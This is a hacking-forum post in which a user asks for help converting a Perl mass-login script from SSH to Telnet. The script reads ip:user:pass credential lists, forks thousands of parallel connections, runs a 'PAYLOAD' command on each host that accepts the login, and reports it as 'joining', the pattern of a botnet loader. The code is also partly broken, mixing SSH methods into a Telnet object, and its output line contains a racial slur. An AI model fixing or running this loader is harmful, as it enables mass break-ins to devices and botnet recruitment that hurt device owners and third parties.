Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Perl 

Anyone can help me to modify this script from ssh login to telnet login

A script I want to modify is cli.pl I try to modified it but idk why it not work

Default list of this script is user:pass:ip But I want to modify from ssh to telnet and edit list to ip:user:pass

Quote:#!/usr/bin/perl
use Net::Telnet; use Parallel::ForkManager;

$file = shift @ARGV;
open(fh, '<',$file) or die "Can't read file '$file' [$!]\n"; @newarray; while (<fh>){ @array = split(':',$_);
push(@newarray,@array);

}
my $pm = new Parallel::ForkManager(4000);
for (my $i=0; $i < scalar(@newarray); $i+=3) { //<-- But I think it have a problem at this line idk why
$pm->start and next;
$a = $i; //this is ip
$b = $i+1; //this is user
$c = $i+2; // this is password
$telnet = Net::Telnet->new();
if ($telnet->connect($newarray[$a])) {
if ($telnet->auth_password($newarray[$b],$newarray[$c])) {
$channel = $telnet->channel();
$channel->exec('PAYLOAD');
sleep 10;
$channel->close;
print "\e[37;1mNigga They Joining: ".$newarray[$a]."\n";
} else {
print "Maybe\n";
}
} else {
print "Box Broken\n";
}
$pm->finish;
}
$pm->wait_all_children;


Possibly Related Threads...
Thread / Author Replies Views Last Post
[Lua] by InformableDec 19, 2016 04:00 PM 16 2,228 Dec 19, 2016 04:00 PM
Last Post: Thomas Meme
[Help] by ReikaJul 8, 2016 06:00 PM 0 460 Jul 8, 2016 06:00 PM
Last Post: Reika
[Perl] by phuqerDec 20, 2014 07:10 PM 2 346 Dec 20, 2014 07:10 PM
Last Post: Zer0 Cool